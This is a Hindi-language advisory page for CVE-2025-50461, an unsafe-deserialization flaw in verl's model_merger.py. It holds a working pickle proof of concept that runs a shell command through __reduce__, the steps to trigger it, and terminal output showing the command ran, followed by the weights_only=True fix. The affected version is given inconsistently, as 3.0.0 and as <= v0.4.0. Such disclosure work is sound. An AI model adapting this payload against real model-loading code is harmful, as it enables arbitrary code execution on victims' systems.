
Technical Details and Exploit for CVE-2025-50461
स्थिति: आरक्षित
यह CVE आईडी असाइन की गई है लेकिन अभी तक आधिकारिक CVE सूची में प्रकाशित नहीं हुई है।Volcengine के verl 3.0.0 में एक डिसीरियलाइज़ेशन भेद्यता मौजूद है, विशेष रूप से scripts/model_merger.py स्क्रिप्ट में जब "fsdp" बैकएंड का उपयोग किया जाता है। स्क्रिप्ट उपयोगकर्ता द्वारा प्रदान किए गए .pt फ़ाइलों पर weights_only=False के साथ torch.load() को कॉल करती है, जिससे हमलावर मनमाना कोड निष्पादित कर सकते हैं यदि दुर्भावनापूर्ण रूप से तैयार किए गए मॉडल फ़ाइल को लोड किया जाता है। एक हमलावर इसका फायदा उठाकर पीड़ित को एक दुर्भावनापूर्ण मॉडल फ़ाइल डाउनलोड करने और एक विशिष्ट फ़ाइल नाम पैटर्न के साथ स्थानीय निर्देशिका में रखने के लिए मना सकता है। यह भेद्यता स्क्रिप्ट चलाने वाले उपयोगकर्ता के विशेषाधिकारों के साथ मनमाना कोड निष्पादन का कारण बन सकती है।
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
mkdir HACKED! कमांड पीड़ित के सिस्टम पर निष्पादित होता है।
weights_only=True का उपयोग करता है, जिससे डिसीरियलाइज़ेशन जोखिम कम हो जाता है।torch.load को कॉल करते समय स्पष्ट रूप से weights_only=True सेट करने के लिए।state_dict = torch.load(path, map_location="cpu", weights_only=True)
| क्षेत्र | मान |
|---|
| CVE ID | CVE-2025-50461 |
| CVSS स्कोर | निर्धारित किया जाना है |
| CWE | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| रिपोर्ट दिनांक | 2025-04-30 |
| खुलासा दिनांक | 2025-08-15 |
| प्रभावित संस्करण | <= v0.4.0 |
| फिक्स संस्करण |